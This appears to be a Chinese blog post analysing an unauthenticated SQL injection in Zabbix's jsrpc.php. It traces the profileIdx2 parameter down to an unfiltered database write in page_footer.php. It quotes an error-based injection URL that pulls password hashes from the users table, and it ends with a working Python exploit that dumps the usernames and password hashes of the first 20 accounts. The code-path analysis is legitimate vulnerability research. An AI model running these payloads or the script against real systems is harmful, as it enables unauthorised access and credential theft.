zabbix无需登录sql注入漏洞分析
in 漏洞分析 with 0 comment

zabbix无需登录sql注入漏洞分析

in 漏洞分析 with 0 comment

0x01.前言

昨天zabbix爆出一个无需登录的sql注入漏洞,但是要启用guest账号,
各大安全网站纷纷报道了,各路大神也给出了exp,但是分析代码的好像很少
这里就对zabbix这次sql注入的产生原因在代码层分析一下

0x02.漏洞分析

Sql注入的套路也不多,看最先放出的exp是直接注入的,也没有什么绕过啊什么的,如下

/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,(select(select+concat(0x7e,alias,0x7e,SUBSTRING((select passwd from users+LIMIT+0,1),9,16),0x7e))+from+users+LIMIT+0,1),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

可以看到profileIdx2字段直接可以报错注入,代码中应该也没有过滤函数什么的,也不用分析绕过技巧,那
注入点应该很好分析,但是现实很残酷,注入点在一个平时都不会注意的地方
先来看jsrpc.php这个页面
QQ20170521-171348@2x.png
因为直接是get请求并没有json数据,所以到else中,相当于我们的数据就传到data数组中了
QQ20170521-171608@2x.png
然后在下面根据method选择不同的操作,exp中的是screen.get,定位到代码处
QQ20170521-171642@2x.png
data进入到getScreen这个函数中去了,返回的应该一个类对象,然后执行了类对象中的get方法,
我们先跟进getScreen函数中去,我们的目标是找profileIdx2这个参数
QQ20170521-171726@2x.png
传进来是options数组,那我们就是要找$options[‘profileIdx2’],
但是放眼望去并没有这个变量啊,接着往下看
QQ20170521-171810@2x.png
这里选择了resourcetype,但是get请求中传的resourcetype=17
在前面include/defines.inc.php中定义了
QQ20170521-171904@2x.png
17代表的是SCREEN_RESOURCE_HISTORY,那最后返回的就是
QQ20170521-171936@2x.png
然后跟进该类中的get函数
QQ20170521-172005@2x.png
Get函数很长,但是根本就没把$options[‘profileIdx2’]传进来,
这个类前面的_construct到是在父类CSreenBase中继承了options数组,来看看
QQ20170521-172054@2x.png
这种预定义的也不是我们想要的啊,到这里卡了很久,一定是什么地方没有看到
在看我们get传进去的数据命名为data后
第一次传入的地方是CScreenBuilder 类的getScreen函数,
在这个类的开头还有construct,我们看一下
QQ20170521-172142@2x.png
可以看到$options[‘profileIdx2’]被带入到calculateTime中了,跟进函数看看
QQ20170521-172227@2x.png
在该函数中看到了update函数,貌似是入库点,跟进看看
QQ20170521-172256@2x.png
其中有init()和get()函数,先跟进init()看一下
QQ20170521-172323@2x.png
这里有数据库操作,但是idx2没有入库,最后设置了一下profiles,
idx2的信息存入profiles中了,没有注入点,再看get()
QQ20170521-172344@2x.png
很明显也没有注入点,那到底在哪里产生的注入呢,
该分析的都跟到了,再回来看看jsrpc.php,在switch的最后,还有一段代码是经过这个页面都会执行的
QQ20170521-172423@2x.png
在最后require_once了一个page_footer.php
看下这个文件,发现了这样一行
QQ20170521-172448@2x.png
dbstart和dbend的中间肯定是数据库操作了,跟进看一下
QQ20170521-172534@2x.png
看到这里idx2就直接入库了,没有什么过滤,所以可以直接报错注入

0x03.总结

分析还是挺要耐心的,zabbix的另一个latest.php的注入原理跟这个是一模一样的,
最后给一个利用脚本,注前20个用户的密码

import urllib
import urllib2
import requests
import BeautifulSoup


def ZabbixTest(Zabbix_url):
    headers = {
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebkit/537.36 (KHTML,like Gecko) Chrome/27.0.1453.94 Safari/537.36"
    }
    try:
        content=urllib.urlopen(Zabbix_url)
        if content.getcode()==200:
            try:
                ZabbixTest_url=Zabbix_url+"jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17"
                r=requests.get(ZabbixTest_url,headers=headers)
                if r.text.find("ed733b8d10be225eceba344d533586") == -1:
                    print "Maybe this url is not vulnerable!"
                else:
                    for i in range(0,20):
                        Findlly_url = Zabbix_url+"/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1%20AND%20(SELECT%20123%20FROM(SELECT%20COUNT(*),CONCAT(0x716a717a71,(SELECT%20MID((IFNULL(CAST(concat(alias,0x7e,passwd,0x7e)%20AS%20CHAR),0x20)),1,54)%20FROM%20zabbix.users%20ORDER%20BY%20name%20LIMIT%20"+"%s" % i+",1),0x717a6b7a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17"
                        requests_content=urllib2.urlopen(Findlly_url)
                        html_content=requests_content.read()
                        soup=BeautifulSoup.BeautifulSoup(html_content)
                        sqlerror=soup.findAll(attrs={"class":"error"})
                        admin_password=str(sqlerror).split("Duplicate entry ÿqzq")[1].split("~qzkzq1")[0].split("~")
                        print "µÚ%d¸öÓû§£º" % (i+1)+admin_password[0]+"ÃÜÂëΪ£º"+admin_password[1]
            except:
                pass
        else:
            print "Maybe this url is not zabbix page!"
    except:
            print "Maybe this url is not find!"

if __name__=='__main__':
    Zabbix_url = raw_input("ÇëÊäÈë´ý¼ì²âµÄURL(For example:[url]http://www.xxxx.com/[/url])£º")
    ZabbixTest(Zabbix_url)

Comments are closed.